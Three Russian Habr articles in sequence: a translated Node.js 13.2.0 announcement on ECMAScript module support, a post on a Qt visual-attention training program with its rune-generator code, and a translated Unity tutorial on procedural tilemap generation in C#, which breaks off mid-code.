Node.js 13.2.0 идет с поддержкой [ECMAScript модулей](https://hacks.mozilla.org/2018/03/es-modules-a-cartoon-deep-dive/), известных по своему синтаксису import и export. Ранее эта функциональность была за флагом `--experimental-modules`, который больше не требуется. Однако, реализация все еще экспериментальная и может меняться.
*От переводчика: это долгожданная фича наконец-то позволит нам использовать стандартный модульный синтаксис, уже доступный в современных браузерах, а теперь еще и в Node.js без флагов и транспайлеров*
Активация
---------
Node.js будет обрабатывать код как ES-модули в следующих случаях:
* Файлы с расширением `.mjs`
* Файлы с расширением `.js` или без расширения вообще, при условии что ближайший к ним родительский `package.json` содержит значение `"type": "module"`
* Код, переданный через аргумент `—-eval` или STDIN, вместе с флагом `—-input-type=module`
Во всех остальных случаях код будет считаться CommonJS. Это относится к `.js` файлам без `"type": "module"` в ближайшем `package.json` и коду, переданному через командную строку без указания `--input-type`. Это сделано в целях сохранения обратной совместимости. Однако, поскольку у нас теперь есть два вида модулей, CommonJS и ES, будет лучше указывать тип модулей явным образом.
Вы можете явно отметить свой код как CommonJS следующими признаками:
* Файлы с расширением `.cjs`
* Файлы с расширением `.js` или без расширения вообще, при условии что ближайший родительский `package.json` содержит значение `"type": "“commonjs”"`
* Код, переданный через аргумент `--eval` или STDIN c явным флагом `--input-type=commonjs`
Чтобы узнать больше об этих фичах, смотрите разделы документации ["Package Scope and File Extensions"](https://nodejs.org/api/esm.html#esm_package_scope_and_file_extensions) и [`про флаг --input-type`](https://nodejs.org/api/esm.html#esm_code_input_type_code_flag)
Синтаксис import и export
-------------------------
В контексте ES модуля, можно использовать `import`, указывающий на другие Javascript файлы. Они могут быть указаны одним из следующих форматов:
* Относительный URL: `"./file.mjs"`
* Абсолютный URL c `file://`, например `"file:///opt/app/file.mjs"`
* Имя пакета: `"es-module-package"`
* Путь до файла внутри пакета: `"es-module-package/lib/file.mjs"`
В импортах можно использовать дефолтные (`import _ from "es-module-package"`) и именованные значения (`import { shuffle } from "es-module-package"`), а также импортировать всё как один неймспейс (`import * as fs from "fs"`). Все встроенные Node.js пакеты, вроде `fs` или `path`, поддерживают все три вида импортов.
Импорты, которые указывают на CommonJS код (то есть весь текущий JavaScript, написанный для Node.js с [`использованием require` и `module.exports`](https://nodejs.org/api/modules.html)), могут использовать только дефолтный вариант (`import _ from "commonjs-package"`).
Импорт других форматов файлов, таких как JSON и WASM остается экспериментальным, и требует флагов [`--experimental-json-modules`](https://nodejs.org/api/esm.html#esm_experimental_json_modules) и [`--experimental-wasm-modules`](https://nodejs.org/api/esm.html#esm_experimental_wasm_modules) соответственно. Тем не менее, вы можете загружать эти файлы используя [`module.createRequire`](https://nodejs.org/api/modules.html#modules_module_createrequire_filename) API, который доступен без дополнительных флагов.
В своих ES-модулях вы можете использовать ключевое слово [export](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/export) для экспортирования дефолтных и именованных значений.
Динамические выражения с `import()` могут использоваться для загрузки ES-модулей либо из CommonJS, либо ES кода. Заметьте, что `import()` возвращает не модуль а его обещание (Promise).
Также в модулях доступен [`import.meta.url`](https://nodejs.org/api/esm.html#esm_import_meta), который содержит абсолютный URL текущего ES-модуля.
Файлы и новое поле "type" в package.json
----------------------------------------
Добавьте `"type": "module"` в package.json своего проекта, и Node.js начнет воспринимать все `.js`-файлы вашего проекта как ES модули.
Если какие-то файлы вашего проекта все еще используют CommonJS и у вас не получается мигрировать весь проект разом, вы можете либо использовать расширение `.cjs` для этого кода, либо сложить его в отдельную директорию, и добавить туда `package.json`, содержащий `{ "type": "commonjs" }`, который укажет Node.js, что она должна обрабатываться как CommonJS.
Для каждого загружаемого файла Node.js посмотрит на `package.json` в содержащей его директории, затем на уровень выше, и так до тех пор пока не достигнет корневой директории. Этот механизм похож на то, как [`работает Babel с .babelrc` файлами](https://babeljs.io/docs/en/config-files#file-relative-configuration). Такой подход позволяет Node.js использовать `package.json` как источник различных метаданных о пакете и конфигурации, наподобие того, как это уже работает в Babel и других инструментах.
Мы рекомендуем всем разработчикам пакетов указывать поле `type`, даже если там будет написано `commonjs`.
Входные точки пакета и поле "exports" в package.json
----------------------------------------------------
Теперь у нас есть два поля для указания [входной точки](https://nodejs.org/api/esm.html#esm_package_entry_points) в пакет: `main` и [`exports`](https://nodejs.org/api/esm.html#esm_package_exports). Поле `main` поддерживается всеми версиями Node.js, но его возможности ограничены: с ним можно определить только одну главную входную точку в пакет. Новое поле `exports` также позволяет определить главную входную точку, а также дополнительные пути. Это дает дополнительную инкапсуляцию для пакетов, где только явно указанные в `exports` пути доступны для импорта снаружи пакета. `exports` применяется к обоим типам модулей, CommonJS и ES, неважно, используются они через `require` или `import`.
Эта функциональность позволит импортам вида `pkg/feature` указывать на реальный путь вроде `./node_modules/pkg/esm/feature.js`. Также, Node.js выбросит ошибку, если импорт ссылается на `pkg/esm/feature.js` который не указан в `exports`.
Дополнительная, все еще экспериментальная, возможность, [условные экспорты](https://nodejs.org/api/esm.html#esm_conditional_exports) предоставляет возможность экспортировать разные файлы для различных окружений. Это позволит пакету отдавать CommonJS код для вызова `require("pkg")` и ES модульный код для импорта через `import "pkg"`, хотя написание такого пакета не лишено [других проблем](https://nodejs.org/api/esm.html#esm_dual_commonjs_es_module_packages). Вы можете включить условные экспорты флагом `—-experimental-conditional-exports`.
Основные грабли новых модулей
-----------------------------
### Обязательное указание расширений файлов
При использовании импортов, нужно обязательно указывать расширение файла. При импорте индексного файла из директории также нужно полностью указывать путь до файла, то есть "./startup/index.js".
Такое поведение совпадает с тем как работают импорты в браузерах, при обращении к обычному серверу без дополнительной конфигурации.
### Больше недоступны `require`, `exports`, `module.exports`, `__filename`, `__dirname`
Эти значения из CommonJS недоступны в контексте ES модулей. Однако, `require` можно импортировать в ES модуль через [`module.createRequire()`](https://nodejs.org/api/modules.html#modules_module_createrequire_filename). Эквиваленты `__filename` и `__dirname` можно достать из [`import.meta.url`](https://nodejs.org/api/esm.html#esm_import_meta).
Создание пакетов
----------------
На данный момент мы рекомендуем авторам пакетов использовать либо полностью CommonJS, либо полностью ES модули для своих Node.js проектов. Рабочая группа по модулям для Node.js все продолжает искать способы улучшить поддержку двойных пакетов, с CommonJS для легаси пользователей и ES модулями для новых. [Условные экспорты](https://nodejs.org/api/esm.html#esm_conditional_exports), сейчас являются экспериментальными и мы надеемся выкатить эту функциональность или ее альтернативу к концу января 2020 года, или даже раньше.
Чтобы узнать об этом больше, смотрите наши примеры и рекомендации по созданию [двойных CommonJS/ES Module пакетов](https://nodejs.org/api/esm.html#esm_dual_commonjses_module_packages)
Что будет дальше
----------------
**Загрузчики.** Продолжается работа над API для написания кастомных загрузчиков, для реализации транспиляции модулей в рантайме, переопределения путей импортов (пакетов или отдельных файлов), а также инструментирование кода. Экспериментальное API, доступное под флагом [`—-experimental-loader`](https://nodejs.org/api/esm.html#esm_experimental_loader_hooks), будет подвержено значительным переделкам до того, как мы выведем его из-под флага.
**Двойные CommonJS/ES module пакеты.** Мы хотим предоставить стандартный способ опубликовать пакет, который может использоваться и через `require` в CommonJS и через `import` в ES модулях. Больше информации об этом [у нас в документации](https://nodejs.org/api/esm.html#esm_dual_commonjses_module_packages). Мы планируем завершить работу и вывести из-под флага к концу января 2020 года, если не раньше.
Вот и всё! Мы надеемся, поддержка ECMAScript модулей приблизит Node.js к стандартам JavaScript и принесет новые возможности для совместимости во всей экосистеме JavaScript. Рабочий процесс над улучшением поддержки модулей ведется публично здесь: <https://github.com/nodejs/modules>. | https://habr.com/ru/post/477168/ | null | ru | null |
# Тест-тренировка зрительного внимания
> *Если я напишу 2, потом 4, потом 6, тогда мы почувствуем себя хорошо, потому что мы знаем, что дальше идет 8. Мы можем это предвидеть, мы не в руках судьбы. Однако, к сожалению, это не имеет ничего общего с истиной...*
>
> х/ф «Оксфордские убийства»
Задача: обнаружить центральную фигуру среди сереньких фигур вокруг.
Данный проект — PsyMatchArea — задумывался в качестве альтернативы знаменитым [таблицам Шульте](https://ru.wikipedia.org/wiki/%D0%A2%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D0%B0_%D0%A8%D1%83%D0%BB%D1%8C%D1%82%D0%B5). С теми же целями (тренировка зрительного периферического внимания), но с другими, более «отмороженными» исходными предпосылками. Во-первых, нужно было уйти от цифр и букв — символов, знакомых каждому практически с яслей и потому распознаваемых на автомате без активного вовлечения сознания в процесс. Во-вторых, чтобы внимание как можно меньше подменялось памятью (и вообще не расслаблялось), надо было обеспечить соответствующие «помехи» — смена позиций, мерцания, наложения и т.п.
**Режим с несколькими одновременно включёнными помехами**
Самым, наверное, интересным с точки зрения программирования было создать алгоритм, который бы выдавал достаточно разнообразное множество абстрактных символов того или иного типа. Например, символы типа «руна» выращиваются следующим образом: алгоритму на входе предлагается сгенерировать в узловой матрице 3 x 3 пять последовательных соединений с некоторыми топологическими «принуждениями» (ограничение на количество пересечений и повышенная вероятность зацепа всех сторон периметра матрицы). Если в течение определённого количества попыток алгоритм заходит в тупик, он проявляет «толерантность» и пропускает к выходу последний тупиковый вариант (как говорится, что выросло, то выросло).
**Код генератора рун**
```
void CRunePattern::genSolidLink(int linkCount, int crossesCount)
{
if (this->isEmpty())
return;
int broadCharge = 5;
while (broadCharge) {
m_links.clear();
QVector dots;
int currDot = qrand()%(m\_cols\*m\_rows);
for (int i = 0; i < linkCount; ++i)
{
dots.append(currDot);
int crossCharge = 5;
while (crossCharge) {
int nextDotCharge = 5;
int nextDot = qrand()%(m\_cols\*m\_rows);
while (nextDotCharge && dots.contains(nextDot)) {
nextDot = qrand()%(m\_cols\*m\_rows);
nextDotCharge --;
}
if (nextDotCharge) {
CDotLink newLink = CDotLink(currDot, nextDot);
if (this->hasCrossLink(newLink)) {
if (crossesCount) {
crossesCount --;
} else {
// find another link that is'nt crosses with others
crossCharge --;
continue;
}
}
m\_links.append(newLink);
currDot = nextDot;
}
break;
}
}
int maxRow = -1;
int minRow = m\_rows;
int maxCol = -1;
int minCol = m\_rows;
for (int d = 0; d < dots.count(); ++d) {
if (rowByDot(dots.at(d)) < minRow)
minRow = rowByDot(dots.at(d));
if (rowByDot(dots.at(d)) > maxRow)
maxRow = rowByDot(dots.at(d));
if (colByDot(dots.at(d)) < minCol)
minCol = colByDot(dots.at(d));
if (colByDot(dots.at(d)) > maxCol)
maxCol = colByDot(dots.at(d));
}
if (minCol == 0 && minRow == 0 &&
maxRow == m\_rows - 1 && maxCol == m\_cols - 1)
break;
broadCharge --;
continue;
}
}
```
На данный момент программа способна генерировать знаки нескольких типов:
Так же были реализованы следующие помехи:
* Swap interference — перетасовка фигур
* Hide center pattern — исчезновение центральной фигуры
* Thrill interference — дребезжание фигур
* Color interference — цветовое мерцание (гирлянда)
* Cover interference — концентрические окружности
Кроме того, предусмотрена возможность включения подсказки — Tip Settings (искомая фигура «подсвечивается» через указанное время).
**Интерфейс настроек**
После прохождения таблицы показывается статистика. По горизонтали угадывания, по вертикали время. Зелёный цвет — правильный ответ, красный — неверный, жёлтый — была подсказка.
**Отображение статистики**
Пара методических замечаний. Не стоит искать фигуру, разбрасывая взгляд во всех направлениях — это, во-первых, быстро вымотает и, во-вторых, ничего не даст в плане развития фонового внимания. Желательно расслабиться и рассредоточить локус зрительного внимания по всему окну, держа «в уме» искомую фигуру.
[Исходный код](https://github.com/drafterleo/matcharea) на GitHub (Qt 4.8)
[Сборка под Win32](https://github.com/drafterleo/matcharea/releases) | https://habr.com/ru/post/277049/ | null | ru | null |
# Процедурные паттерны, которые можно использовать с тайловыми картами
Процедурная генерация используется для повышения вариабельности игр. Среди известных проектов можно упомянуть [Minecraft](https://minecraft.net/), [Enter the Gungeon](http://store.steampowered.com/app/311690/Enter_the_Gungeon/) и [Descenders](http://store.steampowered.com/app/681280/Descenders/). В этом посте я объясню некоторые из алгоритмов, которые можно применять при работе с системой [Tilemap](https://blogs.unity3d.com/2018/01/25/2d-tilemap-asset-workflow-from-image-to-level/), появившейся как 2D-функция в Unity 2017.2, и с [RuleTile](https://github.com/Unity-Technologies/2d-extras/tree/master/Assets/Tilemap/Tiles/Rule%20Tile).
При процедурном создании карт каждое прохождение игры будет уникальным. Можно использовать различные входящие данные, например, время или текущий уровень игрока, для динамического изменения контента даже после сборки игры.
О чём этот пост?
----------------
Мы рассмотрим одни из самых распространённых способов создания процедурных миров, а также пару вариаций, созданных мной. Вот пример того, что вы сможете создавать после прочтения статьи. Три алгоритм работают вместе, создавая карту при помощи [Tilemap](https://docs.unity3d.com/Manual/Tilemap.html) и [RuleTile](https://github.com/Unity-Technologies/2d-extras/tree/master/Assets/Tilemap/Tiles/Rule%20Tile):
В процессе генерации карты при помощи любого алгоритма мы получаем массив `int`, содержащий все новые данные. Можно продолжить модифицировать эти данные или отрендерить их в тайловую карту.
Прежде чем читать дальше, неплохо будет знать следующее:
1. Мы отличаем, что является тайлом, а что нет, при помощи двоичных значений. 1 — это тайл, 0 — его отсутствие.
2. Мы будем хранить все карты в двухмерном целочисленном массиве, возвращаемом пользователю в конце каждой функции (за исключением той, где выполняется рендеринг).
3. Я буду использовать функцию массива [GetUpperBound()](https://msdn.microsoft.com/en-us/library/system.array.getupperbound(v=vs.110).aspx) для получения высоты и ширины каждой карты, чтобы на функция получала меньше переменных, а код был более чистым.
4. Я часто использую [Mathf.FloorToInt()](https://docs.unity3d.com/ScriptReference/Mathf.FloorToInt.html), потому что система координат Tilemap начинается с левого нижнего угла, а Mathf.FloorToInt() позволяет округлять числа до целого.
5. Весь код в этом посте написан на C#.
Генерация массива
-----------------
GenerateArray создаёт новый массив `int` заданного размера. Также мы можем указать, должен ли массив быть заполненным или пустым (1 или 0). Вот код:
```
public static int[,] GenerateArray(int width, int height, bool empty)
{
int[,] map = new int[width, height];
for (int x = 0; x < map.GetUpperBound(0); x++)
{
for (int y = 0; y < map.GetUpperBound(1); y++)
{
if (empty)
{
map[x, y] = 0;
}
else
{
map[x, y] = 1;
}
}
}
return map;
}
```
Рендеринг карты
---------------
Эта функция используется для рендеринга карты на тайловой карте. Мы обходим в цикле ширину и высоту карты, располагая тайлы только тогда, когда массив в проверяемой точке имеет значение 1.
```
public static void RenderMap(int[,] map, Tilemap tilemap, TileBase tile)
{
//Clear the map (ensures we dont overlap)
tilemap.ClearAllTiles();
//Loop through the width of the map
for (int x = 0; x < map.GetUpperBound(0) ; x++)
{
//Loop through the height of the map
for (int y = 0; y < map.GetUpperBound(1); y++)
{
// 1 = tile, 0 = no tile
if (map[x, y] == 1)
{
tilemap.SetTile(new Vector3Int(x, y, 0), tile);
}
}
}
}
```
Обновление карты
----------------
Эта функция используется только для обновления карты, а не для повторного рендеринга. Благодаря этому мы можем использовать меньше ресурсов, не перерисовывая каждый тайл и его тайловые данные.
```
public static void UpdateMap(int[,] map, Tilemap tilemap) //Takes in our map and tilemap, setting null tiles where needed
{
for (int x = 0; x < map.GetUpperBound(0); x++)
{
for (int y = 0; y < map.GetUpperBound(1); y++)
{
//We are only going to update the map, rather than rendering again
//This is because it uses less resources to update tiles to null
//As opposed to re-drawing every single tile (and collision data)
if (map[x, y] == 0)
{
tilemap.SetTile(new Vector3Int(x, y, 0), null);
}
}
}
}
```
Шум Перлина
-----------
[Шум Перлина](https://en.wikipedia.org/wiki/Perlin_noise) можно использовать в различных целях. Во-первых, мы можем применить его для создания верхнего слоя нашей карты. Для этого достаточно просто получить новую точку при помощи текущей позиции x и seed.
### Простое решение
Этот способ генерации использует в генерации уровней простейшую форму реализации шума Перлина. Мы можем взять функцию Unity для шума Перлина, чтобы не писать код самим. Также мы будем использовать для тайловой карты только целые числа, воспользовавшись функцией [Mathf.FloorToInt()](https://docs.unity3d.com/ScriptReference/Mathf.FloorToInt.html).
```
public static int[,] PerlinNoise(int[,] map, float seed)
{
int newPoint;
//Used to reduced the position of the Perlin point
float reduction = 0.5f;
//Create the Perlin
for (int x = 0; x < map.GetUpperBound(0); x++)
{
newPoint = Mathf.FloorToInt((Mathf.PerlinNoise(x, seed) - reduction) * map.GetUpperBound(1));
//Make sure the noise starts near the halfway point of the height
newPoint += (map.GetUpperBound(1) / 2);
for (int y = newPoint; y >= 0; y--)
{
map[x, y] = 1;
}
}
return map;
}
```
Вот как это выглядит после рендеринга в тайловую карту:
### Сглаживание
Также можно взять эту функцию и сгладить её. Зададим интервалы для фиксации высот Перлина, а затем выполним сглаживание между этими точками. Эта функция окажется чуть сложнее, потому что для интервалов нужно учитывать списки целочисленных значений.
```
public static int[,] PerlinNoiseSmooth(int[,] map, float seed, int interval)
{
//Smooth the noise and store it in the int array
if (interval > 1)
{
int newPoint, points;
//Used to reduced the position of the Perlin point
float reduction = 0.5f;
//Used in the smoothing process
Vector2Int currentPos, lastPos;
//The corresponding points of the smoothing. One list for x and one for y
List noiseX = new List();
List noiseY = new List();
//Generate the noise
for (int x = 0; x < map.GetUpperBound(0); x += interval)
{
newPoint = Mathf.FloorToInt((Mathf.PerlinNoise(x, (seed \* reduction))) \* map.GetUpperBound(1));
noiseY.Add(newPoint);
noiseX.Add(x);
}
points = noiseY.Count;
```
В первой части этой функции мы сначала проверяем, больше ли интервал единицы. Если да, то генерируем шум. Генерацию выполняем с интервалами, чтобы можно было применить сглаживание. Следующая часть функции занимается сглаживанием точек.
```
//Start at 1 so we have a previous position already
for (int i = 1; i < points; i++)
{
//Get the current position
currentPos = new Vector2Int(noiseX[i], noiseY[i]);
//Also get the last position
lastPos = new Vector2Int(noiseX[i - 1], noiseY[i - 1]);
//Find the difference between the two
Vector2 diff = currentPos - lastPos;
//Set up what the height change value will be
float heightChange = diff.y / interval;
//Determine the current height
float currHeight = lastPos.y;
//Work our way through from the last x to the current x
for (int x = lastPos.x; x < currentPos.x; x++)
{
for (int y = Mathf.FloorToInt(currHeight); y > 0; y--)
{
map[x, y] = 1;
}
currHeight += heightChange;
}
}
}
```
Сглаживание выполняется следующим образом:
1. Получаем текущую и последнюю позиции
2. Получаем разность между двумя точками, самая важная информация, которая нам нужна — это разность по оси y
3. Затем мы определяем, насколько нужно выполнить изменение, чтобы попасть в точку, это выполняется делением разности по y на переменную интервала.
4. Далее мы начинаем задавать позиции, проходя весь путь до нуля
5. Когда мы дошли до 0 по оси y, добавляем изменение высоты к текущей высоте и повторяем процесс для следующей позиции по x
6. Завершив с каждой позицией между последней и текущей позициями, мы переходим к следующей точке
Если интервал меньше единицы, то мы просто используем предыдущую функцию, которая выполнит за нас всю работу.
```
else
{
//Defaults to a normal Perlin gen
map = PerlinNoise(map, seed);
}
return map;
```
Давайте взглянем, как выглядит рендер:
Random Walk
-----------
### Random Walk Top
Этот алгоритм выполняет подбрасывание монетки. Мы можем получить один из двух результатов. Если результатом оказался «орёл», то мы перемещаем вверх один блок, если результат «решка», то смещаем блок вниз. Это создаёт высоты благодаря постоянному движению вверх или вниз. Единственным недостатком такого алгоритма является его очень заметная блочность. Давайте взглянем на то, как он работает.
```
public static int[,] RandomWalkTop(int[,] map, float seed)
{
//Seed our random
System.Random rand = new System.Random(seed.GetHashCode());
//Set our starting height
int lastHeight = Random.Range(0, map.GetUpperBound(1));
//Cycle through our width
for (int x = 0; x < map.GetUpperBound(0); x++)
{
//Flip a coin
int nextMove = rand.Next(2);
//If heads, and we aren't near the bottom, minus some height
if (nextMove == 0 && lastHeight > 2)
{
lastHeight--;
}
//If tails, and we aren't near the top, add some height
else if (nextMove == 1 && lastHeight < map.GetUpperBound(1) - 2)
{
lastHeight++;
}
//Circle through from the lastheight to the bottom
for (int y = lastHeight; y >= 0; y--)
{
map[x, y] = 1;
}
}
//Return the map
return map;
}
```
*Random Walk Top со сглаживанием*
Такая генерация даёт нам более плавные высоты по сравнению с генерацией шумом Перлина.
Эта разновидность Random Walk обеспечивает гораздо более плавный результат по сравнению с предыдущей версией. Мы можем реализовать её, добавив в функцию ещё две переменные:
* Первая переменная используется для определения того, насколько долго нужно сохранять текущую высоту. Она является целочисленной и сбрасывается при изменении высоты
* Вторая переменная является входящей для функции и используется как минимальная ширина секции для высоты. Она станет понятнее, когда мы посмотрим на функцию
Теперь мы знаем, что нужно добавлять. Давайте взглянем на функцию:
```
public static int[,] RandomWalkTopSmoothed(int[,] map, float seed, int minSectionWidth)
{
//Seed our random
System.Random rand = new System.Random(seed.GetHashCode());
//Determine the start position
int lastHeight = Random.Range(0, map.GetUpperBound(1));
//Used to determine which direction to go
int nextMove = 0;
//Used to keep track of the current sections width
int sectionWidth = 0;
//Work through the array width
for (int x = 0; x <= map.GetUpperBound(0); x++)
{
//Determine the next move
nextMove = rand.Next(2);
//Only change the height if we have used the current height more than the minimum required section width
if (nextMove == 0 && lastHeight > 0 && sectionWidth > minSectionWidth)
{
lastHeight--;
sectionWidth = 0;
}
else if (nextMove == 1 && lastHeight < map.GetUpperBound(1) && sectionWidth > minSectionWidth)
{
lastHeight++;
sectionWidth = 0;
}
//Increment the section width
sectionWidth++;
//Work our way from the height down to 0
for (int y = lastHeight; y >= 0; y--)
{
map[x, y] = 1;
}
}
//Return the modified map
return map;
}
```
Как видно в показанном ниже gif, сглаживание алгоритма random walk позволяет получать на уровне красивые плоские сегменты.
Заключение
----------
Надеюсь, эта статья вдохновит вас на использование процедурной генерации в своих проектах. Если вы хотите больше узнать о процедурно генерируемых картах, то изучите отличные ресурсы [Procedural Generation Wiki](http://pcg.wikidot.com/category-pcg-algorithms) или [Roguebasin.com](http://roguebasin.com/).
Во второй части статьи мы воспользуемся процедурной генерацией для создания систем пещер.
Часть 2
-------
Всё, что мы будем обсуждать в этой части, можно найти в [этом проекте](https://github.com/UnityTechnologies/ProceduralPatterns2D). Можете скачать ассеты и попробовать свои собственные процедурные алгоритмы.
Шум Перлина
===========
В предыдущей части мы рассматривали способы применения [шума Перлина](https://en.wikipedia.org/wiki/Perlin_noise) для создания верхних слоёв. К счастью, шум Перлина также можно использовать для создания пещеры. Это реализуется благодаря вычислению нового значения шума Перлина, которое получает параметры текущей позиции, умноженные на модификатор. Модификатор — это значение от 0 до 1. Чем больше значение модификатора, тем хаотичнее генерация Перлина. Затем мы округляем это значение до целого (0 или 1), которое сохраняем в массив карты. Посмотрите, как это реализуется:
```
public static int[,] PerlinNoiseCave(int[,] map, float modifier, bool edgesAreWalls)
{
int newPoint;
for (int x = 0; x < map.GetUpperBound(0); x++)
{
for (int y = 0; y < map.GetUpperBound(1); y++)
{
if (edgesAreWalls && (x == 0 || y == 0 || x == map.GetUpperBound(0) - 1 || y == map.GetUpperBound(1) - 1))
{
map[x, y] = 1; //Keep the edges as walls
}
else
{
//Generate a new point using Perlin noise, then round it to a value of either 0 or 1
newPoint = Mathf.RoundToInt(Mathf.PerlinNoise(x * modifier, y * modifier));
map[x, y] = newPoint;
}
}
}
return map;
}
```
Мы используем вместо seed модификатор потому, что результаты генерации Перлина выглядят лучше при умножении на число от 0 до 0.5. Чем ниже значение, тем более блочным будет результат. Взгляните на примеры результатов. Gif начинается со значения модификатора 0.01 и инкрементно доходит до значения 0.25.
Из этого gif видно, что генерация Перлина с каждым инкрементом просто увеличивает паттерн.
Random Walk
===========
В предыдущей части мы видели, что можно использовать бросок монетки для определения того, куда переместится платформа, вверх или вниз. В этой части мы воспользуемся той же идеей, но
с двумя дополнительными вариантами для сдвига влево и вправо. Эта разновидность алгоритма Random Walk позволяет нам создавать пещеры. Для этого мы выбираем случайное направление, затем перемещаем свою позицию и удаляем тайл. Мы продолжаем этот процесс, пока не достигнем нужного количества тайлов, которые нужно уничтожить. Пока мы используем только 4 направления: вверх, вниз, влево, вправо.
```
public static int[,] RandomWalkCave(int[,] map, float seed, int requiredFloorPercent)
{
//Seed our random
System.Random rand = new System.Random(seed.GetHashCode());
//Define our start x position
int floorX = rand.Next(1, map.GetUpperBound(0) - 1);
//Define our start y position
int floorY = rand.Next(1, map.GetUpperBound(1) - 1);
//Determine our required floorAmount
int reqFloorAmount = ((map.GetUpperBound(1) * map.GetUpperBound(0)) * requiredFloorPercent) / 100;
//Used for our while loop, when this reaches our reqFloorAmount we will stop tunneling
int floorCount = 0;
//Set our start position to not be a tile (0 = no tile, 1 = tile)
map[floorX, floorY] = 0;
//Increase our floor count
floorCount++;
```
Функция начинается со следующего:
1. Находим начальную позицию
2. Вычисляем количество тайлов пола, которые нужно удалить
3. Удаляем тайл в начальной позиции
4. Добавляем единицу к количеству тайлов
Затем мы переходим к циклу `while`. Он создаст пещеру:
```
while (floorCount < reqFloorAmount)
{
//Determine our next direction
int randDir = rand.Next(4);
switch (randDir)
{
//Up
case 0:
//Ensure that the edges are still tiles
if ((floorY + 1) < map.GetUpperBound(1) - 1)
{
//Move the y up one
floorY++;
//Check if that piece is currently still a tile
if (map[floorX, floorY] == 1)
{
//Change it to not a tile
map[floorX, floorY] = 0;
//Increase floor count
floorCount++;
}
}
break;
//Down
case 1:
//Ensure that the edges are still tiles
if ((floorY - 1) > 1)
{
//Move the y down one
floorY--;
//Check if that piece is currently still a tile
if (map[floorX, floorY] == 1)
{
//Change it to not a tile
map[floorX, floorY] = 0;
//Increase the floor count
floorCount++;
}
}
break;
//Right
case 2:
//Ensure that the edges are still tiles
if ((floorX + 1) < map.GetUpperBound(0) - 1)
{
//Move the x to the right
floorX++;
//Check if that piece is currently still a tile
if (map[floorX, floorY] == 1)
{
//Change it to not a tile
map[floorX, floorY] = 0;
//Increase the floor count
floorCount++;
}
}
break;
//Left
case 3:
//Ensure that the edges are still tiles
if ((floorX - 1) > 1)
{
//Move the x to the left
floorX--;
//Check if that piece is currently still a tile
if (map[floorX, floorY] == 1)
{
//Change it to not a tile
map[floorX, floorY] = 0;
//Increase the floor count
floorCount++;
}
}
break;
}
}
//Return the updated map
return map;
}
```
### Что же мы здесь делаем?
Ну, во-первых, при помощи случайного числа мы выбираем, в каком направлении двигаться. Затем мы проверяем новое направление при помощи оператора `switch case`. В этом операторе мы проверяем, является ли позиция стеной. Если нет, то удаляем из массива элемент с тайлом. Продолжаем это делать, пока не достигнем нужной площади пола. Результат показан ниже:
Также я создал собственную версию этой функции, в которую включены и диагональные направления. Код функции довольно длинный, поэтому если вы хотите взглянуть на него, скачайте проект по ссылке в начале этой части статьи.
Направленный туннель
====================
Направленный туннель начинается с одного края карты и доходит до противоположного края. Мы можем управлять кривизной и шероховатостью туннеля, передав их на вход функции. Также мы можем задать минимальную и максимальную длину частей туннеля. Давайте взглянем на реализацию:
```
public static int[,] DirectionalTunnel(int[,] map, int minPathWidth, int maxPathWidth, int maxPathChange, int roughness, int curvyness)
{
//This value goes from its minus counterpart to its positive value, in this case with a width value of 1, the width of the tunnel is 3
int tunnelWidth = 1;
//Set the start X position to the center of the tunnel
int x = map.GetUpperBound(0) / 2;
//Set up our random with the seed
System.Random rand = new System.Random(Time.time.GetHashCode());
//Create the first part of the tunnel
for (int i = -tunnelWidth; i <= tunnelWidth; i++)
{
map[x + i, 0] = 0;
}
```
### Что происходит?
Сначала мы задаём значение ширины. Значение ширины будет идти от значения с минусом до положительного. Благодаря этому мы получим нужный нам размер. В данном случаем мы используем значение 1, что, в свою очедедь даст нам общую ширину 3, потому что мы используем значения -1, 0, 1.
Далее мы задаём начальную позицию по x, для этого мы берём середину ширины карты. После этого мы можем проложить туннель в первой части карты.
Теперь давайте займёмся созданием остальной части карты.
```
//Cycle through the array
for (int y = 1; y < map.GetUpperBound(1); y++)
{
//Check if we can change the roughness
if (rand.Next(0, 100) > roughness)
{
//Get the amount we will change for the width
int widthChange = Random.Range(-maxPathWidth, maxPathWidth);
//Add it to our tunnel width value
tunnelWidth += widthChange;
//Check to see we arent making the path too small
if (tunnelWidth < minPathWidth)
{
tunnelWidth = minPathWidth;
}
//Check that the path width isnt over our maximum
if (tunnelWidth > maxPathWidth)
{
tunnelWidth = maxPathWidth;
}
}
//Check if we can change the curve
if (rand.Next(0, 100) > curvyness)
{
//Get the amount we will change for the x position
int xChange = Random.Range(-maxPathChange, maxPathChange);
//Add it to our x value
x += xChange;
//Check we arent too close to the left side of the map
if (x < maxPathWidth)
{
x = maxPathWidth;
}
//Check we arent too close to the right side of the map
if (x > (map.GetUpperBound(0) - maxPathWidth))
{
x = map.GetUpperBound(0) - maxPathWidth;
}
}
//Work through the width of the tunnel
for (int i = -tunnelWidth; i <= tunnelWidth; i++)
{
map[x + i, y] = 0;
}
}
return map;
}
```
Генерируем случайное число для сравнения с величиной шероховатости, и если оно выше этой величины, то можно изменить ширину пути. Также мы проверяем значение, чтобы не сделать ширину слишком маленькой. В следующей части кода мы прокладываем путь сквозь карту. На каждом этапе происходит следующее:
1. Генерируем новое случайное число, сравниваемое с значением кривизны. Как и в предыдущей проверке, если оно больше значения, то мы меняем центральную точку пути. Также мы выполняем проверку, чтобы не выйти за пределы карты.
2. Наконец, мы прокладываем туннель в только что созданной части.
Результаты этой реализации выглядят так:
Клеточные автоматы
==================
[Клеточные автоматы](https://en.wikipedia.org/wiki/Cellular_automaton) используют соседние ячейки, чтобы определить, включена (1) или выключена (0) текущая ячейка. Основа для определения соседних ячеек создаётся на основе случайно сгенерированной сетки ячеек. Мы будем генерировать эту исходную сетку при помощи функции [Random.Next](https://msdn.microsoft.com/en-us/library/2dx6wyd4(v=vs.110).aspx) языка C#.
Так как у нас есть пара разных реализации клеточных автоматов, я написал отдельную функцию для генерации этой базовой сетки. Функция выглядит так:
```
public static int[,] GenerateCellularAutomata(int width, int height, float seed, int fillPercent, bool edgesAreWalls)
{
//Seed our random number generator
System.Random rand = new System.Random(seed.GetHashCode());
//Initialise the map
int[,] map = new int[width, height];
for (int x = 0; x < map.GetUpperBound(0); x++)
{
for (int y = 0; y < map.GetUpperBound(1); y++)
{
//If we have the edges set to be walls, ensure the cell is set to on (1)
if (edgesAreWalls && (x == 0 || x == map.GetUpperBound(0) - 1 || y == 0 || y == map.GetUpperBound(1) - 1))
{
